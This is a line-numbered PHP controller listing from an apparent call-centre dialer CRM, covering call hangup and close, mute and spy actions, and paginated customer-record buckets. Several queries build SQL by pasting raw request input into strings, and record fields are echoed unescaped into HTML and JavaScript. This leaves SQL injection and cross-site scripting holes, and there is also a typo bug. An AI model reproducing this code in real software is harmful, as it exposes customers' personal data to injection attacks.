| 335 | //hangup | ||
| 336 | $newqueue=new Kqueue(); | ||
| 337 | $newqueue->hangupChannel($dialline); | ||
| 338 | if($kstychDialer["keeplocalconf"]=="0") | ||
| 339 | { | ||
| 340 | $newqueue=new Kqueue(); | ||
| 341 | $newqueue->hangupChannelS($kstychDialer['connection']['channel'],$dialline->server); | ||
| 342 | } | ||
| 343 | |||
| 344 | //hangup any conf calls | ||
| 345 | if(is_array($kstychCall['connections']))foreach($kstychCall['connections'] as $num=>$conn) | ||
| 346 | { | ||
| 347 | if(!empty($conn['callid'])) | ||
| 348 | { | ||
| 349 | $tcrmcall=CRMCall::find($conn['callid']); | ||
| 350 | if($tcrmcall) | ||
| 351 | { | ||
| 352 | $tdialline=Dialline::find($tcrmcall->dialline_id); | ||
| 353 | if($tdialline) | ||
| 354 | { | ||
| 355 | $newqueue=new Kqueue(); | ||
| 356 | $newqueue->hangupChannel($tdialline); | ||
| 357 | |||
| 358 | $res.=$conn['callid']."_"; | ||
| 359 | } | ||
| 360 | } | ||
| 361 | } | ||
| 362 | } | ||
| 363 | |||
| 364 | return Response::make("//SENT $res"); | ||
| 365 | } | ||
| 366 | else return Response::make("//Error : Dialline Not found ($callid)"); | ||
| 367 | } | ||
| 368 | } | ||
| 369 | else return Response::make("//Error : Call Not Found ($callid)"); | ||
| 370 | } | ||
| 371 | |||
| 372 | if($action=="closecall") | ||
| 373 | { | ||
| 374 | $callid=intval($kstychCall['callid'])+0; | ||
| 375 | $crmcall=CRMCall::find($callid); | ||
| 376 | if($crmcall&&$crmcall->user_id==Auth::user()->id) | ||
| 377 | { | ||
| 378 | $nowts=microtime(true)*1000; | ||
| 379 | |||
| 380 | if($kstychCall["usercallback"]!="") | ||
| 381 | { | ||
| 382 | $kstychCall["usercallback"]=date("Y-m-d H:i:s",strtotime($kstychCall["usercallback"].":00")+((Auth::user()->timezone)*60)); | ||
| 383 | } | ||
| 384 | |||
| 385 | $crmcall->setTs('ts_Close',$nowts); | ||
| 386 | |||
| 387 | $crmcall->userstatus =$kstychCall["userstatus"]; | ||
| 388 | $crmcall->usersubstatus =$kstychCall["usersubstatus"]; | ||
| 389 | $crmcall->usercallback =$kstychCall["usercallback"]; | ||
| 390 | $crmcall->userremarks =$kstychCall["userremarks"]; | ||
| 391 | |||
| 392 | $wakka = new KHRMSLib(); | ||
| 393 | |||
| 394 | if($crmcall->crm_id==0) | ||
| 395 | { | ||
| 396 | if($kstychCall["crmid"]>0) | ||
| 397 | { | ||
| 398 | $crmcall->crm_id=$kstychCall["crmid"]; | ||
| 399 | |||
| 400 | $temparr=$wakka->getPerson($crmcall->crm_id); | ||
| 401 | if(isset($temparr)&&isset($temparr['peopledata'])&&isset($temparr['peopledata']['client']))$crmcall->client=$temparr['peopledata']['client']; | ||
| 402 | } | ||
| 403 | } | ||
| 404 | |||
| 405 | if($crmcall->crm_id>0) | ||
| 406 | { | ||
| 407 | if(is_array($kstychCall["userdata"])) | ||
| 408 | { | ||
| 409 | foreach($kstychCall["userdata"] as $tcrmid=>$tuserdata) | ||
| 410 | { | ||
| 411 | if($tcrmid==$crmcall->crm_id) | ||
| 412 | { | ||
| 413 | $crmcall->userdata=json_encode($kstychCall["userdata"][$tcrmid]); | ||
| 414 | } | ||
| 415 | else | ||
| 416 | { | ||
| 417 | $empty="?"; | ||
| 418 | foreach($kstychCall["userdata"][$tcrmid] as $key=>$val) | ||
| 419 | { | ||
| 420 | if(trim($val)!=""){$empty="no";break;} | ||
| 421 | } | ||
| 422 | if($empty=="no") | ||
| 423 | { | ||
| 424 | $tcrmcall=new CRMCall(); | ||
| 425 | $tcrmcall->number=$crmcall->number; | ||
| 426 | $tcrmcall->user_id=Auth::user()->id; | ||
| 427 | $tcrmcall->sipid_id=$crmcall->sipid_id; | ||
| 428 | $tcrmcall->crm_id=$tcrmid; | ||
| 429 | $tcrmcall->client=$crmcall->client; | ||
| 430 | $tcrmcall->department=$crmcall->department; | ||
| 431 | $tcrmcall->state='Hangup'; | ||
| 432 | $tcrmcall->type='NoCall'; | ||
| 433 | $tcrmcall->userstatus='NoCall'; | ||
| 434 | $tcrmcall->usersubstatus='NoCall'; | ||
| 435 | //$tcrmcall->dialline_id=''; | ||
| 436 | |||
| 437 | $tcrmcall->setTs('ts_Wait',$nowts); | ||
| 438 | |||
| 439 | $tcrmcall->did=$crmcall->did; | ||
| 440 | |||
| 441 | $tdata=array(); | ||
| 442 | $tcrmcall->data=json_encode($tdata); | ||
| 443 | |||
| 444 | $tcrmcall->userdata=json_encode($kstychCall["userdata"][$tcrmid]); | ||
| 445 | |||
| 446 | $tcrmcall->save(); | ||
| 447 | |||
| 448 | |||
| 449 | |||
| 450 | $tuser=$wakka->getPerson($tcrmid); | ||
| 451 | $tuser['peopledata']["dialer_status"]=$kstychCall["userstatus"]; | ||
| 452 | $tuser['peopledata']["dialer_substatus"]=$kstychCall["usersubstatus"]; | ||
| 453 | $tuser['peopledata']["dialer_callback"]=$kstychCall["usercallback"]; | ||
| 454 | $tuser['peopledata']["dialer_remarks"]=str_replace("'","",kstychCall["userremarks"]); | ||
| 455 | $tuser['peopledata']["dialer_flag"]=$kstychCall["userflag"]; | ||
| 456 | |||
| 457 | $tuser["bttc"]=$kstychCall["bttc_day"].":".$kstychCall["bttc_hrs"]; | ||
| 458 | $tuser["serv_vs_prod"]=$kstychCall["serv_vs_prod"]; | ||
| 459 | $tuser["resolution"]=$kstychCall["resolution"]; | ||
| 460 | $tuser["satisfy"]=$kstychCall["satisfy"]; | ||
| 461 | $tuser["final_call_assess"]=$kstychCall["final_call_assess"]; | ||
| 462 | |||
| 463 | $tuser['peopledata']["dialer_userdata"]=$kstychCall["userdata"][$tcrmid]; | ||
| 464 | if($tuser['peopledata']["status"]=='New' || $tuser['peopledata']["status"]=='NEW')$tuser['peopledata']["status"]="Called"; | ||
| 465 | |||
| 466 | //for Supervisor Comments - By Manish | ||
| 467 | $tuser['agentcomments']=$kstychCall["agentcomments"]; | ||
| 468 | $tuser['supcomntid']=$kstychCall["supcomntid"]; | ||
| 469 | |||
| 470 | $tuser['peopledata']["dialer_lastcall"]=date("Y-m-d H:i:s"); | ||
| 471 | $wakka->setPerson($tcrmid,$tuser); | ||
| 472 | } | ||
| 473 | } | ||
| 474 | } | ||
| 475 | } | ||
| 476 | |||
| 477 | |||
| 478 | $user=$wakka->getPerson($crmcall->crm_id); | ||
| 479 | if($user['peopledata']['id']==$crmcall->crm_id) | ||
| 480 | { | ||
| 481 | $user['peopledata']["dialer_status"]=$kstychCall["userstatus"]; | ||
| 482 | $user['peopledata']["dialer_substatus"]=$kstychCall["usersubstatus"]; | ||
| 483 | $user['peopledata']["dialer_callback"]=$kstychCall["usercallback"]; | ||
| 484 | $user['peopledata']["dialer_remarks"]=str_replace("'","",$kstychCall["userremarks"]); | ||
| 485 | $user['peopledata']["dialer_flag"]=$kstychCall["userflag"]; | ||
| 486 | |||
| 487 | $user['peopledata']["bttc"]=$kstychCall["bttc_day"].":".$kstychCall["bttc_hrs"]; | ||
| 488 | $user['peopledata']["service_vs_product"]=$kstychCall["serv_vs_prod"]; | ||
| 489 | $user['peopledata']["resolution"]=$kstychCall["resolution"]; | ||
| 490 | $user['peopledata']["satisfaction"]=$kstychCall["satisfy"]; | ||
| 491 | $user['peopledata']["final_call_assessment"]=$kstychCall["final_call_assess"]; | ||
| 492 | |||
| 493 | // For Add Priority Snippet In Waterfall Bucket | ||
| 494 | if($user['peopledata']["priority"]) | ||
| 495 | $user['peopledata']["priority"] = ''; | ||
| 496 | |||
| 497 | $user['peopledata']["dialer_userdata"]=$kstychCall["userdata"][$crmcall->crm_id]; | ||
| 498 | $user['peopledata']["dialer_lastcall"]=date("Y-m-d H:i:s"); | ||
| 499 | if($user['peopledata']["status"]=='New' || $user['peopledata']["status"]=='NEW')$user['peopledata']["status"]="Called"; | ||
| 500 | //for Supervisor Comments - By Manish | ||
| 501 | $user['agentcomments']=$kstychCall["agentcomments"]; | ||
| 502 | $user['supcomntid']=$kstychCall["supcomntid"]; | ||
| 503 | |||
| 504 | $wakka->setPerson($crmcall->crm_id,$user); | ||
| 505 | |||
| 506 | //update groupid if this is not groupid TODO move to config | ||
| 507 | if($user['peopledata']['clientcode']!=$user['peopledata']['clientinternalid']) | ||
| 508 | { | ||
| 509 | $tusers=$wakka->getPersons(" clientinternalid='".$user['peopledata']['clientinternalid']."' limit 1"); | ||
| 510 | |||
| 511 | if(!empty($tusers)) | ||
| 512 | { | ||
| 513 | $tppldata=unserialize($tusers[0]['peopledata']); | ||
| 514 | if($tppldata['status']=='New')$wakka->setPersonKey($tusers[0]['id'],'status','Called'); | ||
| 515 | //if($tppldata['dialer_status']=='') //TODO Config | ||
| 516 | { | ||
| 517 | $wakka->setPersonKey($tusers[0]['id'],'dialer_status',$user['peopledata']["dialer_status"]); | ||
| 518 | $wakka->setPersonKey($tusers[0]['id'],'dialer_substatus',$user['peopledata']["dialer_substatus"]); | ||
| 519 | } | ||
| 520 | } | ||
| 521 | } | ||
| 522 | } | ||
| 523 | } | ||
| 524 | |||
| 525 | $crmcall->saveRecFileSize(); | ||
| 526 | $crmcall->save(); | ||
| 527 | |||
| 528 | $userlog=UserLog::where('user_id','=',Auth::user()->id)->orderBy("id","DESC")->first(); | ||
| 529 | $userlog->getLastTs($crmcall->sipid_id,$nowts); | ||
| 530 | $userlog->save(); | ||
| 531 | } | ||
| 532 | |||
| 533 | return Response::make(""); | ||
| 534 | } | ||
| 535 | |||
| 536 | //WRAPUP - Done By Manish | ||
| 537 | if($action == 'wrapup') | ||
| 538 | { | ||
| 539 | $callid=intval($kstychCall['callid'])+0; | ||
| 540 | $crmcall=CRMCall::find($callid); | ||
| 541 | if($crmcall&&$crmcall->user_id==Auth::user()->id) | ||
| 542 | { | ||
| 543 | $nowts=microtime(true)*1000; | ||
| 544 | |||
| 545 | $userstatus=$kstychCall["userstatus"]; | ||
| 546 | $usersubstatus=$kstychCall["usersubstatus"]; | ||
| 547 | |||
| 548 | $userlog=UserLog::where('user_id','=',Auth::user()->id)->orderBy("id","DESC")->first(); | ||
| 549 | $userlog->getLastTs($crmcall->sipid_id,$nowts,$userstatus,$usersubstatus); | ||
| 550 | $userlog->save(); | ||
| 551 | } | ||
| 552 | |||
| 553 | return Response::make(""); | ||
| 554 | } | ||
| 555 | |||
| 556 | if($action=="kCallAction") | ||
| 557 | { | ||
| 558 | $actiontype=Input::get('actiontype'); | ||
| 559 | $conf=Input::get("conf"); | ||
| 560 | $channel=Input::get("channel"); | ||
| 561 | |||
| 562 | if($actiontype=="Hangup") | ||
| 563 | { | ||
| 564 | $tdialline=Dialline::where('channel','=',$channel)->first(); | ||
| 565 | if($tdialline) | ||
| 566 | { | ||
| 567 | $newqueue=new Kqueue(); | ||
| 568 | $newqueue->hangupChannel($tdialline); | ||
| 569 | } | ||
| 570 | } | ||
| 571 | |||
| 572 | if($actiontype=="MuteMic") | ||
| 573 | { | ||
| 574 | $tdialline=Dialline::where('channel','=',$channel)->first(); | ||
| 575 | if($tdialline) | ||
| 576 | { | ||
| 577 | $newqueue=new Kqueue(); | ||
| 578 | $newqueue->channelMuteMic($tdialline->channel,$tdialline->server); | ||
| 579 | } | ||
| 580 | } | ||
| 581 | if($actiontype=="MuteSpeaker") | ||
| 582 | { | ||
| 583 | $tdialline=Dialline::where('channel','=',$channel)->first(); | ||
| 584 | if($tdialline) | ||
| 585 | { | ||
| 586 | $newqueue=new Kqueue(); | ||
| 587 | $newqueue->channelMuteSpeaker($tdialline->channel,$tdialline->server); | ||
| 588 | } | ||
| 589 | } | ||
| 590 | if($actiontype=="UnMuteMic") | ||
| 591 | { | ||
| 592 | $tdialline=Dialline::where('channel','=',$channel)->first(); | ||
| 593 | if($tdialline) | ||
| 594 | { | ||
| 595 | $newqueue=new Kqueue(); | ||
| 596 | $newqueue->channelUnMuteMic($tdialline->channel,$tdialline->server); | ||
| 597 | } | ||
| 598 | } | ||
| 599 | if($actiontype=="UnMuteSpeaker") | ||
| 600 | { | ||
| 601 | $tdialline=Dialline::where('channel','=',$channel)->first(); | ||
| 602 | if($tdialline) | ||
| 603 | { | ||
| 604 | $newqueue=new Kqueue(); | ||
| 605 | $newqueue->channelUnMuteSpeaker($tdialline->channel,$tdialline->server); | ||
| 606 | } | ||
| 607 | } | ||
| 608 | |||
| 609 | return Response::make(""); | ||
| 610 | } | ||
| 611 | |||
| 612 | if($action=="dialerstate") | ||
| 613 | { | ||
| 614 | $ready=0;if($kstychDialer['mDialerState']=="Ready"&&$kstychCall['mCallState']=="Wait")$ready=1; | ||
| 615 | $nowts=microtime(true)*1000; | ||
| 616 | |||
| 617 | $sipid=Sipid::find($kstychDialer['phone']); | ||
| 618 | if($sipid&&$sipid->user==Auth::user()->id&&$sipid->status==1) | ||
| 619 | { | ||
| 620 | $sipid->ready=$ready; | ||
| 621 | $sipid->save(); | ||
| 622 | |||
| 623 | $userlog=UserLog::where('user_id','=',Auth::user()->id)->orderBy("id","DESC")->first(); | ||
| 624 | $userlog->getLastTs($sipid->id,$nowts,$kstychDialer['mDialerState'],$kstychDialer['mDialerSubState']); | ||
| 625 | $userlog->save(); | ||
| 626 | } | ||
| 627 | return Response::make(""); | ||
| 628 | } | ||
| 629 | |||
| 630 | if($action=="spychannel") | ||
| 631 | { | ||
| 632 | $sipid=Sipid::find($kstychDialer['phone']); | ||
| 633 | |||
| 634 | $tosip=Input::get('sipid'); | ||
| 635 | $mode=Input::get('mode'); | ||
| 636 | $modes=array('L'=>'2000','B'=>'2002','W'=>'2001'); | ||
| 637 | |||
| 638 | if($sipid&&$tosip!=""&&isset($modes[$mode])) | ||
| 639 | { | ||
| 640 | $newqueue=new Kqueue(); | ||
| 641 | $newqueue->sipOriginate($sipid,$modes[$mode].$tosip,"kstychDialerSpy"); | ||
| 642 | } | ||
| 643 | return Response::make(""); | ||
| 644 | } | ||
| 645 | |||
| 646 | if($action=="recarchive") | ||
| 647 | { | ||
| 648 | $type=Input::get("type"); | ||
| 649 | if($type=="stageupload") | ||
| 650 | { | ||
| 651 | return view("layout.module.dialer.recarchive",array()); | ||
| 652 | } | ||
| 653 | |||
| 654 | } | ||
| 655 | |||
| 656 | } | ||
| 657 | public function show($id) | ||
| 658 | { | ||
| 659 | if(time()>strtotime('14:30:00') || time()<strtotime('03:30:00')) | ||
| 660 | { | ||
| 661 | Session::flush(); | ||
| 662 | } | ||
| 663 | |||
| 664 | if($id=="bucketdata") | ||
| 665 | { | ||
| 666 | $client=Input::get("client",""); | ||
| 667 | $bucket=Input::get("bucket"); | ||
| 668 | $currentstatus=Input::get("currentstatus"); | ||
| 669 | $legalstatus=Input::get("legalstatus"); | ||
| 670 | $page=intval(Input::get('page'));if($page<1)$page=1; | ||
| 671 | $skey=Input::get('skey'); | ||
| 672 | $stxt=Input::get('stxt'); | ||
| 673 | |||
| 674 | $skey=''; | ||
| 675 | /*if($skey=="ID")$key='id'; | ||
| 676 | if($skey=="FirstName")$key='firstname'; | ||
| 677 | if($skey=="LastName")$key='lastname'; | ||
| 678 | if($skey=="Client")$key='client'; | ||
| 679 | if($skey=="Mobile")$key='mobile'; | ||
| 680 | if($skey=="Email")$key='emailid'; | ||
| 681 | if($skey=="Passport")$key='passportno'; | ||
| 682 | if($skey=="IBAN")$key='ibannumber'; | ||
| 683 | if($skey=="Status")$key='currentstatus'; | ||
| 684 | if($skey=="PersonalID")$key='laborcardpersonalid'; | ||
| 685 | if($skey=="InternalID")$key='clientinternalid'; | ||
| 686 | if($skey=="ClientCode")$key='clientcode'; | ||
| 687 | if($key!=''&&$stxt!='')$key=" and $key like '$stxt%'";else $key="";*/ | ||
| 688 | |||
| 689 | /*if($stxt!='')$skey=" and (id like '$stxt%' or firstname like '$stxt%' or lastname like '$stxt%' or client like '$stxt%' or mobile like '$stxt%' or emailid like '$stxt%' or passportno like '$stxt%' or ibannumber like '$stxt%' or currentstatus like '$stxt%' or laborcardpersonalid like '$stxt%' or clientinternalid like '$stxt%' or clientcode like '$stxt%')";else $skey="";*/ | ||
| 690 | |||
| 691 | if($stxt!='')$skey=" and (firstname like '$stxt%' or mobile like '$stxt%' or clientcode like '$stxt%')";else $skey=""; | ||
| 692 | |||
| 693 | $wakka = new KHRMSLib(); | ||
| 694 | $rows=""; | ||
| 695 | |||
| 696 | $owclientstr=array(); | ||
| 697 | $oclientlst=$wakka->clientsOwnerRWAccess(); | ||
| 698 | |||
| 699 | if(!empty($oclientlst))foreach($oclientlst as $tclnt)if($tclnt!="") | ||
| 700 | { | ||
| 701 | $owclientstr[]="'$tclnt'"; | ||
| 702 | if($client=="")$client=$tclnt; | ||
| 703 | } | ||
| 704 | if(!empty($owclientstr))$owclientstr="and client in (".implode(",",$owclientstr).")";else $owclientstr=""; | ||
| 705 | if($client!="")$owclientstr="and client='$client'"; | ||
| 706 | |||
| 707 | $roclientstr=array();$didlinesstr=array();if(Auth::user()->exten!="")$didlinesstr[]=Auth::user()->exten; | ||
| 708 | $roclientlst=$wakka->clientsReadAccess(); | ||
| 709 | |||
| 710 | if(!empty($roclientlst))foreach($roclientlst as $tclnt)if($tclnt!="") | ||
| 711 | { | ||
| 712 | $roclientstr[]="'$tclnt'"; | ||
| 713 | if($client=="")$client=$tclnt; | ||
| 714 | |||
| 715 | $mastersdata=$wakka->getCompanyMaster($tclnt); | ||
| 716 | if(!empty($mastersdata["DialerDID"]))$didlinesstr[]=$mastersdata["DialerDID"]; | ||
| 717 | } | ||
| 718 | foreach($didlinesstr as $k=>$dids) | ||
| 719 | { | ||
| 720 | $didarr=explode(":",$dids); | ||
| 721 | $didlinesstr[$k]=$didarr[0]; | ||
| 722 | } | ||
| 723 | |||
| 724 | if(!empty($roclientstr))$roclientstr="and client in (".implode(",",$roclientstr).")";else $roclientstr=""; | ||
| 725 | $roclientstrAll=$roclientstr; | ||
| 726 | if($client!="")$roclientstr="and client='$client'"; | ||
| 727 | |||
| 728 | $bl=20; | ||
| 729 | $bs=($page-1)*$bl; | ||
| 730 | |||
| 731 | $dbres=array(); | ||
| 732 | if($bucket=="CurrentQueue")$dbres=$this->getCallSequencing(20); | ||
| 733 | else if($bucket=="TotalData")$dbres=$wakka->getPersons("1=1 $owclientstr limit $bs,$bl"); | ||
| 734 | else if($bucket=="SearchData")$dbres=$wakka->getPersons("1=1 $roclientstrAll $skey limit $bs,$bl"); | ||
| 735 | else if($bucket=="NotCalled")$dbres=$wakka->getPersons("status='New' $owclientstr limit $bs,$bl"); | ||
| 736 | else if($bucket=="Called")$dbres=$wakka->getPersons("status='Called' $owclientstr limit $bs,$bl"); | ||
| 737 | else if($bucket=="Priority")$dbres=$wakka->getPersons("status='Priority' $owclientstr limit $bs,$bl"); | ||
| 738 | else if($bucket=="Flagged-Called")$dbres=$wakka->getPersons("dialer_flag='VIP' $owclientstr limit $bs,$bl"); | ||
| 739 | else if($bucket=="Flagged-Notcalled")$dbres=$wakka->getPersons("priority='VIP' $owclientstr limit $bs,$bl"); | ||
| 740 | |||
| 741 | else if($bucket=="MissedCalls") | ||
| 742 | { | ||
| 743 | /* $newdidlinesstr=''; | ||
| 744 | |||
| 745 | function searchFor($number, $array){ | ||
| 746 | foreach ($array as $key => $value) { | ||
| 747 | if($value->number==$number) | ||
| 748 | $numArr[]=$value; | ||
| 749 | } | ||
| 750 | return $numArr; | ||
| 751 | } | ||
| 752 | |||
| 753 | //select did from Array | ||
| 754 | if($didlinesstr) | ||
| 755 | { | ||
| 756 | $didlinesstr1=$didlinesstr[0]; | ||
| 757 | $didlinesstr2=explode(":",$didlinesstr1); | ||
| 758 | $didlinesstr3 = $didlinesstr2[0]; | ||
| 759 | $newdidlinesstr = substr($didlinesstr3,-8); | ||
| 760 | } | ||
| 761 | |||
| 762 | $mc=CRMCall::where('userstatus','=','InboundDROP')->where('created_at','>',date('Y-m-d H:i:s',time()-(7*24*60*60))); | ||
| 763 | $mc=$mc->where(function ($query) use($roclientlst,$newdidlinesstr){ | ||
| 764 | $query->orWhereIn('client',$roclientlst)->orWhere('did','like','%'.$newdidlinesstr.'%'); | ||
| 765 | }); | ||
| 766 | $mcArray = CRMCall::orWhereIn('client',$roclientlst)->orWhere('did','like','%'.$newdidlinesstr.'%')->orderBy('id','ASC')->get(); | ||
| 767 | $mc=$mc->groupBy('number')->orderBy('id','ASC')->get(); | ||
| 768 | |||
| 769 | foreach($mc as $key=> $tcall) | ||
| 770 | { | ||
| 771 | $numArray=searchFor($tcall->number, $mcArray); | ||
| 772 | |||
| 773 | $lcall = end($numArray); | ||
| 774 | |||
| 775 | if($lcall->userstatus=="InboundDROP") | ||
| 776 | { | ||
| 777 | if($tcall->crm_id>0) | ||
| 778 | { | ||
| 779 | $rec=$wakka->getPersons("id=$tcall->crm_id")[0]; | ||
| 780 | if($rec['dialer_status']=="InboundDROP")$dbres[]=$rec; | ||
| 781 | } | ||
| 782 | else | ||
| 783 | { | ||
| 784 | if($tcall->client==".") | ||
| 785 | { | ||
| 786 | $recordValue = DB::table('records')->where('mobile','=',substr($tcall->number,-10))->get(); | ||
| 787 | |||
| 788 | $dbres[]=array('client'=>$recordValue[0]->client,'clientinternalid'=>$recordValue[0]->clientinternalid,'clientcode'=>$recordValue[0]->clientcode,'firstname'=>$recordValue[0]->firstname,'status'=>$recordValue[0]->status,'mobile'=>substr($tcall->number,-10),'callid'=>$lcall->id); | ||
| 789 | }else{ $dbres[]=array('client'=>$tcall->client,'mobile'=>$tcall->number,'callid'=>$lcall->id); } | ||
| 790 | |||
| 791 | */ | ||
| 792 | |||
| 793 | $mc=CRMCall::where('userstatus','=','InboundDROP')->where('created_at','>',date('Y-m-d H:i:s',time()-(7*24*60*60))); | ||
| 794 | $mc=$mc->where(function ($query) use($roclientlst,$didlinesstr){ | ||
| 795 | $query->orWhereIn('client',$roclientlst)->orWhereIn('did',$didlinesstr); | ||
| 796 | }); | ||
| 797 | $mc=$mc->get(); | ||
| 798 | |||
| 799 | $number_list=array(); | ||
| 800 | foreach($mc as $key=>$tcall){ | ||
| 801 | |||
| 802 | $tccal=substr($tcall->number,-10); | ||
| 803 | $mc_number=CRMCall::where('userstatus','!=','InboundDROP')->where ('created_at','>',$tcall->created_at)->where('number','like',"%".$tccal."%")->orderBy("id","DESC")->first(); | ||
| 804 | |||
| 805 | |||
| 806 | $mccount= count($mc_number); | ||
| 807 | if($mccount==0){ | ||
| 808 | $number_list[] = $tcall->number; | ||
| 809 | } | ||
| 810 | } | ||
| 811 | |||
| 812 | if(count($number_list) > 0) { | ||
| 813 | // $lcalls=DB::select("select * from (select * from crmcalls WHERE number in ('" . implode("','", $number_list). "') ORDER BY id DESC) AS c GROUP BY number"); | ||
| 814 | $lcalls=DB::select("SELECT * FROM crmcalls where id in (SELECT max(id) FROM crmcalls WHERE number IN ('" . implode("','", $number_list). "') GROUP BY number )"); | ||
| 815 | |||
| 816 | foreach($lcalls as $lcall) | ||
| 817 | { | ||
| 818 | if($lcall->userstatus=="InboundDROP") | ||
| 819 | { | ||
| 820 | if($lcall->crm_id>0) | ||
| 821 | { | ||
| 822 | $reccrm_ids[] = "'".$lcall->crm_id."'"; | ||
| 823 | } | ||
| 824 | else | ||
| 825 | { | ||
| 826 | $recordValue = DB::table('records')->where('mobile','=',substr($lcall->number,-10))->get(); | ||
| 827 | if($recordValue){ | ||
| 828 | $reccrm_ids[] = "'".$recordValue[0]->id."'"; | ||
| 829 | } | ||
| 830 | else{ | ||
| 831 | $dbres[]=array('client'=>$lcall->client,'mobile'=>substr($lcall->number,-10),'callid'=>$lcall->id); | ||
| 832 | } | ||
| 833 | } | ||
| 834 | } | ||
| 835 | } | ||
| 836 | |||
| 837 | if(!empty($reccrm_ids)) | ||
| 838 | { | ||
| 839 | $recids_str = implode(",", $reccrm_ids); | ||
| 840 | $rec=$wakka->getPersons("id in ($recids_str)"); | ||
| 841 | $dbres = array_merge($dbres,$rec); | ||
| 842 | |||
| 843 | |||
| 844 | |||
| 845 | } | ||
| 846 | } | ||
| 847 | |||
| 848 | |||
| 849 | } | ||
| 850 | else if($bucket=="CallsToday")$dbres=$wakka->getPersons("dialer_lastcall>='".date("Y-m-d 00:00:00",time()+((Auth::user()->timezone)*60))."' $owclientstr limit $bs,$bl"); | ||
| 851 | else if($bucket=="CallsMonth")$dbres=$wakka->getPersons("dialer_lastcall>='".date("Y-m-01 00:00:00",time()+((Auth::user()->timezone)*60))."' $owclientstr limit $bs,$bl"); | ||
| 852 | |||
| 853 | else | ||
| 854 | { | ||
| 855 | $currentstatus2='';$legalstatus2=''; | ||
| 856 | if($currentstatus!="")$currentstatus2=" and currentstatus='$currentstatus' "; | ||
| 857 | if($legalstatus!="")$legalstatus2=" and legalstatus='$legalstatus' "; | ||
| 858 | $dbres=$wakka->getPersons("dialer_status='$bucket' $currentstatus2 $legalstatus2 $owclientstr limit $bs,$bl"); | ||
| 859 | } | ||
| 860 | |||
| 861 | $ccountsummary=array();$k=1;//Log::info(count($dbres)); | ||
| 862 | foreach($dbres as $dbrow) | ||
| 863 | { | ||
| 864 | if(isset($dbrow['callid'])) | ||
| 865 | { | ||
| 866 | $lastcall=CRMCall::find($dbrow['callid']); | ||
| 867 | $callcntmonth=CRMCall::where("number","=",$dbrow['mobile'])->where("created_at",">=",date("Y-m-01 H:i:s",time()+((Auth::user()->timezone)*60)))->count(); | ||
| 868 | } | ||
| 869 | else if($dbrow['id']>0) | ||
| 870 | { | ||
| 871 | $lastcall=CRMCall::where("number","like","%".$dbrow['mobile']."%")->where('type','=','Inbound')->orderBy("id","DESC")->first(); | ||
| 872 | $callcntmonth=CRMCall::where("number","like","%".$dbrow['mobile']."%")->where("created_at",">=",date("Y-m-01 H:i:s",time()+((Auth::user()->timezone)*60)))->count(); | ||
| 873 | } | ||
| 874 | |||
| 875 | if(!isset($ccountsummary[$callcntmonth]))$ccountsummary[$callcntmonth]=0; | ||
| 876 | $ccountsummary[$callcntmonth]++; | ||
| 877 | |||
| 878 | $type="";$lasttime="";$dispo="";$subdispo="";$followup="";$remarks="";$did=""; | ||
| 879 | if($lastcall) | ||
| 880 | { | ||
| 881 | $type=$lastcall->type; | ||
| 882 | $lasttime=$lastcall->created_at;if($lasttime=="0000-00-00 00:00:00")$lasttime="";else $lasttime=date("d-M-y H:i:s",strtotime($lasttime)-((Auth::user()->timezone)*60)); | ||
| 883 | $dispo=$lastcall->userstatus; | ||
| 884 | $subdispo=$lastcall->usersubstatus; | ||
| 885 | $followup=$dbrow[dialer_callback];if($followup=="0000-00-00 00:00:00")$followup="";else $followup=date("d-M-y H:i:s",strtotime($followup)-(Auth::user()->timezone*60)); | ||
| 886 | $remarks=$lastcall->userremarks; | ||
| 887 | $did=$lastcall->did; | ||
| 888 | } | ||
| 889 | $rows.="<tr> | ||
| 890 | <td><a href=# class='' onclick='dialerQuickOpen(\"$dbrow[id]\",\"$dbrow[mobile]\",\"Progressive\",\"\",0);return false;'><i class='fa fa-phone'></i></a></td> | ||
| 891 | <td>$k</td> | ||
| 892 | <td title='$dbrow[id]'>$dbrow[client]</td> | ||
| 893 | <td title=''>$dbrow[clientinternalid]</td> | ||
| 894 | <td title=''>$dbrow[clientcode]</td> | ||
| 895 | <td>$dbrow[firstname]</td> | ||
| 896 | <td><a href=# class='' onclick='dialerQuickOpen(\"$dbrow[id]\",\"$dbrow[mobile]\",\"Progressive\",\"\",0);return false;'>$dbrow[mobile]</a></td> | ||
| 897 | <td>$type</td> | ||
| 898 | <td>$lasttime</td> | ||
| 899 | <td title='$subdispo :: $remarks'>$dispo</td> | ||
| 900 | <td>$followup</td> | ||
| 901 | <td>$dbrow[status]</td> | ||
| 902 | <td>C".str_pad($callcntmonth,3, "0", STR_PAD_LEFT)."</td> | ||
| 903 | <!--<td><a href=# class='' onclick='dialerQuickOpen(\"$dbrow[id]\",\"$dbrow[mobile]\",\"Progressive\",\"\",0);return false;'><i class='fa fa-phone'></i></a> <a href=# class='' onclick='dialerQuickOpen(\"$dbrow[id]\",\"$dbrow[mobile]\",\"DialNext\",\"\",0);return false;'><i class='fa fa-file'></i></a></td>--> | ||
| 904 | <td>$did</td> | ||
| 905 | </tr>"; | ||
| 906 | $k++; | ||
| 907 | } | ||
| 908 | |||
| 909 | $summarycounts=""; | ||
| 910 | ksort($ccountsummary); | ||
| 911 | foreach($ccountsummary as $key=>$val) | ||
| 912 | { | ||
| 913 | $summarycounts.="<span class='label label-small label-default'>C".str_pad($key,3, "0", STR_PAD_LEFT)." : $val</span> "; | ||
| 914 | } | ||
| 915 | |||
| 916 | |||
| 917 | $data="<h5>Bucket : $bucket</h5><hr>$summarycounts<br>"; | ||
| 918 | |||
| 919 | |||
| 920 | $data.="<a class='pre_nxt' href='#' onclick=\"dialerLoadData('$bucket','$currentstatus','$legalstatus',".($page-1).",$('#dialerbkey').html(),$('#dialerbtxt').val());return false;\"><< Previous Page</a> | ||
| 921 | <a class='pre_nxt' href='#' onclick=\"dialerLoadData('$bucket','$currentstatus','$legalstatus',".($page+1).",$('#dialerbkey').html(),$('#dialerbtxt').val());return false;\">Next Page >></a> | ||
| 922 | |||
| 923 | <span class=pull-right> | ||
| 924 | <input type=text class='form-control pull-left' style='width:200px' placeholder='search..' value='$stxt' id=dialerbtxt> | ||
| 925 | <button class='btn btn-default pull-right' onclick=\"dialerLoadData('SearchData','','',1,$('#dialerbkey').html(),$('#dialerbtxt').val());return false\"> Search </button> | ||
| 926 | </span>"; | ||
| 927 | |||
| 928 | $data.=" | ||
| 929 | <div style='clear:both'></div> | ||
| 930 | |||
| 931 | <table class='table '> | ||
| 932 | <thead> | ||
| 933 | <tr> | ||
| 934 | <th></th> | ||
| 935 | <th></th> | ||
